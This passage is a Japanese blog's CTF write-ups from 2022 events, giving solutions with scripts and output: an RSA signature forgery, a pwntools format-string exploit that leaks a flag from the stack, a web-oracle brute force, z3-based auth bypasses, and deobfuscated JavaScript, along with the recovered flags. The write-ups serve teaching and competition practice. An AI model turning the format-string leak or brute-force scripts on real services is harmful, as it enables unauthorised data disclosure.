m = re.search(pattern, data.encode())
target = m.group(1)

target += b'\x00' * 256
c = bytes_to_long(target)

m = int(gmpy2.iroot(c, 3)[0]) + 1
print(m)
s.sendall(str(m).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

You think you can give me orders? Prove your authority by signing:
"spam ham mike holy pteng mike pteng moly moly pteng ene moly egg -- give me the flag!"
I want the signature as decimal number.
4181321586603772534793357116592013204177518788955354274759485758634250435240920991719187402108130848481412597142621465930044162030324501918549598769751084475013644442314335348243421214275827733923475024407420375384957499465874028037432088251822128037165226893884317905590494
You were right. Here is your flag:
ENO{c0mp4re_th3_whol3_length}
ENO{c0mp4re_th3_whol3_length}

RITSEC CTF 2022 Writeup

この大会は2022/4/2 1:00(JST)~2022/4/4 13:00(JST)に開催されました。
今回もチームで参戦。結果は650点で544チーム中177位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Intro)

Discordに入り、#rulesチャネルを見るとフラグが書いてあった。

RS{!flag}

Scrumptions Snacks (Misc)

$ steghide extract -sf stegosaurus.jpg -p lunch
wrote extracted data to "location.txt".
$ cat location.txt 
39.95187791397735, -75.17117334360019

緯度、経度がわかったので、Google mapで調べる。住所は以下であることがわかる。

1821 Chestnut St, Philadelphia, PA 19103 アメリカ合衆国

これをGoogleで検索すると、店名がわかる。

sweetgreen
RS{sweetgreen}

Survey (Exit)

アンケートに答えたら、フラグが表示された。

RS{TH4NKS_F0R_PL4Y1NG}

UMassCTF 2022 Writeup

この大会は2022/4/2 7:00(JST)~2022/4/4 7:00(JST)に開催されました。
今回もチームで参戦。結果は248点で314チーム中221位でした。
自分で解けた問題をWriteupとして書いておきます。

quickmaths (misc)

$ nc 34.148.103.218 1228
You must solve 1000 of these math problems that are outputted in the following format {number} {operation} {number} to get the flag. 
Division is integer division using the // operator. 
The input is being checked through python input() function. 
Good luck! 

46 * -28

四則演算の問題が1000問出題されるので、計算はevalに任せ答えていく。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.148.103.218', 1228))

data = recvuntil(s, b'luck! \n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

for i in range(1000):
    print('Round %d' % (i + 1))
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ans = eval(data)
    print(ans)
    s.sendall(str(ans).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

You must solve 1000 of these math problems that are outputted in the following format {number} {operation} {number} to get the flag.
Division is integer division using the // operator.
The input is being checked through python input() function.
Good luck!

Round 1
29 + 98
127
  :
Round 996
80 * 96
7680
Correct!
Round 997
6 * 85
510
Correct!
Round 998
8 * 11
88
Correct!
Round 999
51 // 56
0
Correct!
Round 1000
-57 // -15
3
Correct!
UMASS{s3v3naten1n3}
UMASS{s3v3naten1n3}

Space Heroes CTF Writeup

この大会は2022/4/2 1:00(JST)~2022/4/4 6:00(JST)に開催されました。
今回もチームで参戦。結果は6862点で778チーム中10位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (sanity_check)

Discordに入り、MEE6ボットの情報を見ると、ロールの一つがフラグになっていた。
f:id:satou-y:20220405232628p:plain

shctf{4ut0b0ts_r013_0u7}

k? (sanity_check)

Discordに入り、#welcome-and-rulesチャネルでRulesBotに「チェックアイコン」でリアクションすると、たくさんのチャネルが現れる。#announcementsチャネルのメッセージに以下が書いてある。

Ok. We had a banned wordlist. That included an f followed by two spaces, followed by a k. When people started typing k, it triggered ME6. We thought that was funny. So we made a last minute discord flag. Issue a custom command k and youll get the flag.

fの後に2つのスペースが続き、その後にkを入力すればよいらしい。#mee6チャネルで以下を入力する。

/help commands

すると、以下MEE6ボットから以下が返ってくる。

!k (optional text)

以下を入力する。

!k f  k

DMでMEE6から以下のメッセージがあった。

k? shctf{WhY_iS_K_BaNnEd}
shctf{WhY_iS_K_BaNnEd}

Guardians of the Galaxy (pwn)

Ghidraでデコンパイルする。

void main(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_58 [32];
  char local_38 [40];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  buffer_init();
  __stream = fopen("./flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Error, please message admins with \'infinity_error\'.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_38,0x20,__stream);
  do {
    puts("Does Quill manage to win the dance battle?");
    fgets(local_58,0x20,stdin);
    puts("\nOh no, Ronano has seen through the distraction!");
    printf(local_58);
    putchar(10);
  } while( true );
}
$ nc 0.cloud.chals.io 12690
Does Quill manage to win the dance battle?
AAAA%p.%p.%p.%p.%p.%p.%p.%p

Oh no, Ronan has seen through the distraction!
AAAA0x7f242fda5723.(nil).0x7f242fcc60a7.0x30.(nil).0x7ffca73c3fe0.0x55e3344e62a0.0x252e702541414141

Does Quill manage to win the dance battle?

FSB脆弱性があるので、flagのバッファをリークする。

$ file guardians 
guardians: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4122d7312e92c63007f47ac9e28406195bcc7859, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./guardians
Reading symbols from ./guardians...(no debugging symbols found)...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x555555555250 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x555555555320 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdef8 --> 0x7fffffffe251 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdee8 --> 0x7fffffffe236 ("/mnt/hgfs/Shared/guardians")
RDI: 0x1 
RBP: 0x555555555320 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde08 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x555555555250 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555555120 (<_start>:	endbr64)
R13: 0x7fffffffdee0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555524d <buffer_init+68>:	nop
   0x55555555524e <buffer_init+69>:	pop    rbp
   0x55555555524f <buffer_init+70>:	ret    
=> 0x555555555250 <main>:	endbr64 
   0x555555555254 <main+4>:	push   rbp
   0x555555555255 <main+5>:	mov    rbp,rsp
   0x555555555258 <main+8>:	sub    rsp,0x60
   0x55555555525c <main+12>:	mov    rax,QWORD PTR fs:0x28
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde10 --> 0x1 
0016| 0x7fffffffde18 --> 0x7fffffffdee8 --> 0x7fffffffe236 ("/mnt/hgfs/Shared/guardians")
0024| 0x7fffffffde20 --> 0x100008000 
0032| 0x7fffffffde28 --> 0x555555555250 (<main>:	endbr64)
0040| 0x7fffffffde30 --> 0x0 
0048| 0x7fffffffde38 --> 0x632d42dbc6e01c23 
0056| 0x7fffffffde40 --> 0x555555555120 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x0000555555555250 in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
=> 0x0000555555555250 <+0>:	endbr64 
   0x0000555555555254 <+4>:	push   rbp
   0x0000555555555255 <+5>:	mov    rbp,rsp
   0x0000555555555258 <+8>:	sub    rsp,0x60
   0x000055555555525c <+12>:	mov    rax,QWORD PTR fs:0x28
   0x0000555555555265 <+21>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000555555555269 <+25>:	xor    eax,eax
   0x000055555555526b <+27>:	lea    rax,[rbp-0x30]
   0x000055555555526f <+31>:	mov    QWORD PTR [rbp-0x60],rax
   0x0000555555555273 <+35>:	mov    eax,0x0
   0x0000555555555278 <+40>:	call   0x555555555209 <buffer_init>
   0x000055555555527d <+45>:	lea    rsi,[rip+0xd84]        # 0x555555556008
   0x0000555555555284 <+52>:	lea    rdi,[rip+0xd7f]        # 0x55555555600a
   0x000055555555528b <+59>:	call   0x555555555100 <fopen@plt>
   0x0000555555555290 <+64>:	mov    QWORD PTR [rbp-0x58],rax
   0x0000555555555294 <+68>:	cmp    QWORD PTR [rbp-0x58],0x0
   0x0000555555555299 <+73>:	jne    0x5555555552b1 <main+97>
   0x000055555555529b <+75>:	lea    rdi,[rip+0xd76]        # 0x555555556018
   0x00005555555552a2 <+82>:	call   0x5555555550c0 <puts@plt>
   0x00005555555552a7 <+87>:	mov    edi,0x0
   0x00005555555552ac <+92>:	call   0x555555555110 <exit@plt>
   0x00005555555552b1 <+97>:	mov    rdx,QWORD PTR [rbp-0x58]
   0x00005555555552b5 <+101>:	lea    rax,[rbp-0x30]
   0x00005555555552b9 <+105>:	mov    esi,0x20
   0x00005555555552be <+110>:	mov    rdi,rax
   0x00005555555552c1 <+113>:	call   0x5555555550f0 <fgets@plt>
   0x00005555555552c6 <+118>:	lea    rdi,[rip+0xd83]        # 0x555555556050
   0x00005555555552cd <+125>:	call   0x5555555550c0 <puts@plt>
   0x00005555555552d2 <+130>:	mov    rdx,QWORD PTR [rip+0x2d57]        # 0x555555558030 <stdin@@GLIBC_2.2.5>
   0x00005555555552d9 <+137>:	lea    rax,[rbp-0x50]
   0x00005555555552dd <+141>:	mov    esi,0x20
   0x00005555555552e2 <+146>:	mov    rdi,rax
   0x00005555555552e5 <+149>:	call   0x5555555550f0 <fgets@plt>
   0x00005555555552ea <+154>:	lea    rdi,[rip+0xd8f]        # 0x555555556080
   0x00005555555552f1 <+161>:	call   0x5555555550c0 <puts@plt>
   0x00005555555552f6 <+166>:	lea    rax,[rbp-0x50]
   0x00005555555552fa <+170>:	mov    rdi,rax
   0x00005555555552fd <+173>:	mov    eax,0x0
   0x0000555555555302 <+178>:	call   0x5555555550e0 <printf@plt>
   0x0000555555555307 <+183>:	mov    edi,0xa
   0x000055555555530c <+188>:	call   0x5555555550b0 <putchar@plt>
   0x0000555555555311 <+193>:	jmp    0x5555555552c6 <main+118>
End of assembler dump.
gdb-peda$ b *0x00005555555552ea
Breakpoint 2 at 0x5555555552ea
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/guardians 
Does Quill manage to win the dance battle?
1234

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffddb0 --> 0xa34333231 ('1234\n')
RBX: 0x0 
RCX: 0x7ffff7af2031 (<__GI___libc_read+17>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x7fffffffddb0 --> 0xa34333231 ('1234\n')
RDI: 0x0 
RBP: 0x7fffffffde00 --> 0x555555555320 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffdda0 --> 0x7fffffffddd0 ("flag{hoge}")
RIP: 0x5555555552ea (<main+154>:	lea    rdi,[rip+0xd8f]        # 0x555555556080)
R8 : 0x7ffff7dcf8c0 --> 0x0 
R9 : 0x7ffff7fdc4c0 (0x00007ffff7fdc4c0)
R10: 0x7ffff7fdc4c0 (0x00007ffff7fdc4c0)
R11: 0x246 
R12: 0x555555555120 (<_start>:	endbr64)
R13: 0x7fffffffdee0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555552dd <main+141>:	mov    esi,0x20
   0x5555555552e2 <main+146>:	mov    rdi,rax
   0x5555555552e5 <main+149>:	call   0x5555555550f0 <fgets@plt>
=> 0x5555555552ea <main+154>:	lea    rdi,[rip+0xd8f]        # 0x555555556080
   0x5555555552f1 <main+161>:	call   0x5555555550c0 <puts@plt>
   0x5555555552f6 <main+166>:	lea    rax,[rbp-0x50]
   0x5555555552fa <main+170>:	mov    rdi,rax
   0x5555555552fd <main+173>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdda0 --> 0x7fffffffddd0 ("flag{hoge}")
0008| 0x7fffffffdda8 --> 0x555555559260 --> 0xfbad2498 
0016| 0x7fffffffddb0 --> 0xa34333231 ('1234\n')
0024| 0x7fffffffddb8 --> 0xf0b5ff 
0032| 0x7fffffffddc0 --> 0xc2 
0040| 0x7fffffffddc8 --> 0x55555555536d (<__libc_csu_init+77>:	add    rbx,0x1)
0048| 0x7fffffffddd0 ("flag{hoge}")
0056| 0x7fffffffddd8 --> 0x7d65 ('e}')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x00005555555552ea in main ()
gdb-peda$ x/16g $rsp
0x7fffffffdda0:	0x00007fffffffddd0	0x0000555555559260
0x7fffffffddb0:	0x0000000a34333231	0x0000000000f0b5ff
0x7fffffffddc0:	0x00000000000000c2	0x000055555555536d
0x7fffffffddd0:	0x676f687b67616c66	0x0000000000007d65
0x7fffffffdde0:	0x0000555555555320	0x0000555555555120
0x7fffffffddf0:	0x00007fffffffdee0	0x9c899ac3e6d4a500
0x7fffffffde00:	0x0000555555555320	0x00007ffff7a03c87
0x7fffffffde10:	0x0000000000000001	0x00007fffffffdee8

%12$pのスタックの場所にフラグので、その位置から繰り返し、8バイトずつリークする。

#!/usr/bin/env python3
from pwn import *

p = remote('0.cloud.chals.io', 12690)

i = 12
flag = b''
while True:
    payload = '%' + str(i) + '$p'
    data = p.recvuntil(b'?\n').rstrip().decode()
    print(data)
    print(payload)
    p.sendline(payload.encode())
    data = p.recvuntil(b'!\n').rstrip().decode()
    print(data)
    data = p.recvline().rstrip().decode()
    print(data)
    flag += p64(int(data, 16))
    data = p.recvline().rstrip().decode()
    print(data)
    if b'}' in flag:
        flag = flag[:flag.index(b'}') + 1].decode()
        print(flag)
        break
    i += 1

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 12690: Done
Does Quill manage to win the dance battle?
%12$p

Oh no, Ronan has seen through the distraction!
0x6d697b6674636873

Does Quill manage to win the dance battle?
%13$p

Oh no, Ronan has seen through the distraction!
0x636172747369645f

Does Quill manage to win the dance battle?
%14$p

Oh no, Ronan has seen through the distraction!
0x756f795f676e6974

Does Quill manage to win the dance battle?
%15$p

Oh no, Ronan has seen through the distraction!
0x55fbc6000a7d

shctf{im_distracting_you}
[*] Closed connection to 0.cloud.chals.io port 12690
shctf{im_distracting_you}

Cape Kennedy (re)

パスワードの条件は以下の通り。

・パスワードの各文字のASCIIコードの合計は713
・パスワードの長さは8バイト
・パスワードの以下のインデックスの文字は同じ
 ・2と5
 ・3と4
 ・6と7

この条件だけだといくつも答えはありそう。問題のタイトルや添付のファイル名から推測すると、"Apollo11"

shctf{Apollo11}

Launch Code (re)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  int iVar2;
  time_t tVar3;
  undefined4 in_R9D;
  undefined4 in_R10D;
  undefined4 in_R11D;
  undefined4 unaff_R12D;
  
  print_logo();
  tVar3 = time((time_t *)0x0);
  srand((uint)tVar3);
  uVar1 = rand();
  puts("<<< Welcome to Shuttle Control Terminal.");
  timeout(0x1e);
  puts("----------------------------");
  printf("<<< Random nonce = %i\n",(ulong)uVar1);
  printf("Enter launch auth code >>> ");
  get_launch_auth();
  iVar2 = three(in_R9D,in_R10D,uVar1);
  if (((iVar2 == 0) && (iVar2 = two(in_R10D,in_R11D), iVar2 == 0)) &&
     (iVar2 = one(in_R11D,unaff_R12D), iVar2 == 0)) {
    puts("<<< Authentication Succeeded.");
    blast_off();
    return 0;
  }
  puts("<<< Authentication Failed.");
  return 0;
}

undefined4 get_launch_auth(void)

{
  undefined4 local_18;
  undefined local_14 [4];
  undefined local_10 [4];
  undefined local_c [4];
  
  __isoc99_scanf("%x %x %x %x",local_c,local_10,local_14,&local_18);
  return local_18;
}

int three(int param_1,int param_2,int param_3)

{
  return (param_3 + param_1 + param_2) * 8;
}

uint two(int param_1,int param_2)

{
  return param_1 / param_2 ^ 2;
}

int one(int param_1,int param_2)

{
  return (param_1 - param_2) + 1;
}

認証成功のためには以下の条件がある。

・(nonce + 第1コード + 第2コード) * 8 == 0
・第2コード / 第3コード ^  2 == 0
・(第3コード - 第4コード) + 1 == 0

例えば以下のように指定すれば、条件を満たす。

第1コード(code0): 2147483648 - 1
第2コード(code1): 4294967296 // 8 * 9 - (nonce + code0)
第3コード(code2): code1 // 2
第4コード(code3): code2 + 1

サーバに接続し、この条件を指定して、実行する。

#!/usr/bin/env python3
from pwn import *

p = remote('0.cloud.chals.io', 12499)

data = p.recvuntil(b'--\n').rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)
nonce = int(data.split(' ')[-1])

code0 = 2147483648 - 1
code1 = 4294967296 // 8 * 9 - (nonce + code0)
code2 = code1 // 2
code3 = code2 + 1
auth_code = f'{code0:x} {code1:x} {code2:x} {code3:x}'

data = p.recvuntil(b'>>> ').decode()
print(data + auth_code)
p.sendline(auth_code.encode())
data = p.recvline().rstrip().decode()
print(data)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 12499: Done
MMMMMWXXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNWMMMMM
MMMMMO,,kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO;;OMMMMM
MMMWO,  ,OWMMMMMMMMMMMMMMMMMMMMMMMMMMW0xkKWMMMMMMMMMMMMMMMMMMMMMMMMMMWK:  :KWMMM
Xdc,.    .,cdXMMMMMMMMMMMMMMMMMMMMMWO:.  .lKWMMMMMMMMMMMMMMMMMMMMMXxl:.    .:lxX
Ko;.      .;oKMMMMMMMMMMMMMMMMMMMMKl.      .dNMMMMMMMMMMMMMMMMMMMMKc'.      .'cK
MMWNk'  'kXWMMMMMMMMMW0kXMMMMMMMWk'   ...    :0WMMMMMMMXxOWMMMMMMMMWNKd.  .dKNWM
MMMMMk..kWMMMMMMMMMMM0'.oNMMMMMNo. .:x0000x;  'kWMMMMMNl '0MMMMMMMMMMMWx..xWMMMM
MMMMMWKKWMMMMMMMMMMMX:  .kMMMMNl. ,ON0l::l0Xx. .kWMMMMk.  cNMMMMMMMMMMMNOONMMMMM
MMMMMMMMMMMMMMMMMMMMO.   lNMMNo. '0Wx.    .kNx. .OMMMNc   'OMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMd.   ;XMWx. .dW0::dxxdc:0Nc  ,KMMX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    ;XMK;  .kMx':olll:,xWo   lWMX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    ;XMx.  .kMx.      .xWo   '0MX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    ;XNc   .kMx. ;dd; .xWo   .dWX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    :XK;   .OMx..xWMx..xWd    lNX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    :XK,  .lXMx. ;dd; .xMK:   cNX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    :XK, .dNMMx.   .  .xMMXl. cNX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    :XK,'kNXNMx. cOOc .xMXXNd.cNX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    :NXx0Nx:OMx..xMMx..xWk:ONOkNX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo    :NWWKl..kMx..xMMx..xMx..dNWMX;   .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWo   .xWNx'  .kMx..xMMx..xMx.  ;OWNd.  .xMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWd';dKXk;    .kMx..xMMx..xMx.   .:OX0o,,kMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMNKXOo'      .kMx..xMMx..xMx.     .,o0XXNMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMNkc'.        .kMx..xWWx..xWx.        .'lONMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMK:            ;0MO,.'cc'.;0M0;           .cXMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMWk:,,,,,,,,,,;dXX0XXo.  .dXKOKXx;,,,,,,,,,;:OMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMWWNK000XWNX0XWXc.lNX:..cXX: :XWX0XNWX0KKKNWWMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMk'...oNK:.lXX; cNWX00XWX; ;XXc.cXXc...'kMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMO'  .oWK, ;XX: cNNd;;dNN: cNX; ;XNl   'OMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMWKdoONMK, .xN0xKWx.  .xNKxKNx. ;XMNkodKWMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMK,  .lxkxl.    .cdxdc.  ;XMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMWNXNWMMMMMMMMMMXl......................lNMMMMMMMMMMWNXNWMMMMMMMMMMMM
MMMMMMMMMMWO:'.':OWMMMMMMMMMNXKK00000KKKKKK00000KKKNMMMMMMMMMWO:'.':OWMMMMMMMMMM
MMMMMMMMMMO.     .OMMMMMMMMMMMMKl,,,lKMMMMKl;;;oXMMMMMMMMMMMMO.     .OMMMMMMMMMM
MMMMMMNOdl'.'::.  'ld0NMMMMMMMMWklclkNMMMMNklclkWMMMMMMMMNOdl'  .::'.'ldONMMMMMM
MMMMMKc.  .oXXk;     .cXMMMMMMMMWKOKWMMMMMMWKOKWMMMMMMMMXc.     ;kXXo.  .cXMMMMM
MMMMNl.   'kO;.,c:;c:..lXNWMMMMMX: :XMMMMMMX: :XMMMMMWNKl..:c;:c,.;Ok.    lNMMMM
MMM0;      ..  ;k00Ol.  .'cOWMMMK, ,KNOddONK, ,KMMMWOc'.  .o0KKk;  ..      ;0WMM
MMX;             ..        .cdl:'   ''.  .,'   ':ldl.       ...             :XMM
MMXdccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccxNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM

<<< Welcome to Shuttle Control Terminal.
<<< You have 30 seconds to auth.
----------------------------
<<< Random nonce = 1381820302
Enter launch auth code >>> 7fffffff 4da31873 26d18c39 26d18c3a
<<< Authentication Succeeded.
<<< shctf{Every-cUb1c-1nch-0f-spAce-is-a-m1racl3}
[*] Closed connection to 0.cloud.chals.io port 12499
shctf{Every-cUb1c-1nch-0f-spAce-is-a-m1racl3}

Times Up (re)

Ghidraでデコンパイルする。

undefined8 FUN_0010131a(void)

{
  int iVar1;
  tm *ptVar2;
  undefined4 local_64;
  undefined4 local_60;
  undefined4 local_5c;
  undefined8 local_58;
  ulong local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  long local_30;
  char *local_28;
  time_t local_20 [2];
  
  _INIT_0();
  local_20[0] = time((time_t *)0x0);
  ptVar2 = localtime(local_20);
  local_58 = *(ulong *)ptVar2;
  local_50 = *(ulong *)&ptVar2->tm_hour;
  local_48 = *(undefined8 *)&ptVar2->tm_mon;
  local_40 = *(undefined8 *)&ptVar2->tm_wday;
  local_38 = *(undefined8 *)&ptVar2->tm_isdst;
  local_30 = ptVar2->tm_gmtoff;
  local_28 = ptVar2->tm_zone;
  puts("<<< Space Travel require precision.");
  printf("<<< Current Time Is: %02d:%02d:%02d\n",local_50 & 0xffffffff,local_58 >> 0x20,
         local_58 & 0xffffffff);
  printf("Enter authorization sequence >>> ");
  __isoc99_scanf("%x %x %x",&local_5c,&local_60,&local_64);
  iVar1 = FUN_001012ce(local_5c,local_60,local_64);
  if (iVar1 != 0xa4c570) {
    printf("<<< Authorization sequence not valid.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if ((local_58._4_4_ < 0x11) || (0x11 < local_58._4_4_)) {
    puts("<<< You failed. Try Another Time.");
  }
  else {
    FUN_0010125c("flag.txt");
  }
  return 0;
}

int FUN_001012ce(int param_1,int param_2,int param_3)

{
  return (param_1 + param_2 + param_3 << ((byte)(param_1 % param_2) & 0x1f)) /
         (int)((2 << ((byte)param_1 & 0x1f) ^ 3U) * param_3);
}

FUN_001012ce関数の結果が0xa4c570になるものをz3で求める。あとは、毎時17分台に実行しないと"<<< You failed. Try Another Time."というメッセージが表示され、フラグが表示されないので、17分になってから実行するようにする。

#!/usr/bin/env python2
from z3 import *
import socket
import datetime

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

x = BitVec('x', 32)
y = BitVec('y', 32)
z = BitVec('z', 32)

s = Solver()

s.add((x + y + z << ((x % y) & 0x1f)) / ((2 << (x & 0x1f) ^ 3) * z) == 0xa4c570)

r = s.check()
assert r == sat
m = s.model()
auth = '%x %x %x' % (m[x].as_long(), m[y].as_long(), m[z].as_long())

while True:
    dt_now = datetime.datetime.now()
    if dt_now.minute == 17:
        break

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 26020))

data = recvuntil(s, '>>> ')
print(data + auth)
s.sendall(auth + '\n')
data = recvuntil(s, '\n').rstrip()
print(data)

実行結果は以下の通り。

<<< Space Travel require precision.
<<< Current Time Is: 11:17:00
Enter authorization sequence >>> fbad9fe9 ffcffe9f b17ae3d5
<<< Congratulations: shctf{b3yond_the_c0rridor_of_R_space_t1me}
shctf{b3yond_the_c0rridor_of_R_space_t1me}

R2D2 (web)

http://173.230.138.139/robots.txtにアクセスすると、フラグが書いてあった。

shctf{th1s-aster0id-1$-n0t-3ntir3ly-stable}

Flag in Space (web)

http://172.105.154.14/?flag=shctfと入力すると、その部分だけ表示された。
f:id:satou-y:20220405235425p:plain
フラグ文字列が正しい部分だけ表示されるようだ。1文字ずつブルートフォースで正しい文字を探していく。

#!/usr/bin/env python3
import requests

base_url = 'http://172.105.154.14/?flag='

flag = 'shctf{'
for i in range(19):
    for code in range(32, 127):
        url = base_url + flag + chr(code)
        r = requests.get(url)
        res = r.text
        res = res.replace('<div>', '').replace('</div>', '')
        res = res.replace('\n', '').replace('</html>', '')
        flag_part = res[res.index(flag):]
        if flag != flag_part:
            flag = flag_part
            break
    print('[+] flag =', flag)

print('[*] flag =', flag)

実行結果は以下の通り。

[+] flag = shctf{2
[+] flag = shctf{2_
[+] flag = shctf{2_e
[+] flag = shctf{2_ex
[+] flag = shctf{2_exp
[+] flag = shctf{2_expl
[+] flag = shctf{2_explo
[+] flag = shctf{2_explor
[+] flag = shctf{2_explor3
[+] flag = shctf{2_explor3_
[+] flag = shctf{2_explor3_f
[+] flag = shctf{2_explor3_fr
[+] flag = shctf{2_explor3_fro
[+] flag = shctf{2_explor3_fron
[+] flag = shctf{2_explor3_front
[+] flag = shctf{2_explor3_fronti
[+] flag = shctf{2_explor3_fronti3
[+] flag = shctf{2_explor3_fronti3r
[+] flag = shctf{2_explor3_fronti3r}
[*] flag = shctf{2_explor3_fronti3r}
shctf{2_explor3_fronti3r}

Space Traveler (web)

HTMLソースを見ると、スクリプトが以下のように書いてある。

<script>
var _0xb645=["\x47\x75\x65\x73\x73\x20\x54\x68\x65\x20\x46\x6C\x61\x67","\x73\x68\x63\x74\x66\x7B\x66\x6C\x61\x67\x7D","\x59\x6F\x75\x20\x67\x75\x65\x73\x73\x65\x64\x20\x72\x69\x67\x68\x74\x2E","\x73\x68\x63\x74\x66\x7B\x65\x69\x67\x68\x74\x79\x5F\x73\x65\x76\x65\x6E\x5F\x74\x68\x6F\x75\x73\x61\x6E\x64\x5F\x6D\x69\x6C\x6C\x69\x6F\x6E\x5F\x73\x75\x6E\x73\x7D","\x59\x6F\x75\x20\x67\x75\x65\x73\x73\x65\x64\x20\x77\x72\x6F\x6E\x67\x2E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x64\x65\x6D\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64"];function myFunction(){let _0xb729x2;let _0xb729x3=prompt(_0xb645[0],_0xb645[1]);switch(_0xb729x3){case _0xb645[3]:_0xb729x2= _0xb645[2];break;default:_0xb729x2= _0xb645[4]};document[_0xb645[7]](_0xb645[6])[_0xb645[5]]= _0xb729x2}
</script>

https://beautifier.io/で整形する。

function myFunction() {
    let _0xb729x2;
    let _0xb729x3 = prompt('Guess The Flag', 'shctf{flag}');
    switch (_0xb729x3) {
        case 'shctf{eighty_seven_thousand_million_suns}':
            _0xb729x2 = 'You guessed right.';
            break;
        default:
            _0xb729x2 = 'You guessed wrong.'
    };
    document['getElementById']('demo')['innerHTML'] = _0xb729x2
}
shctf{eighty_seven_thousand_million_suns}

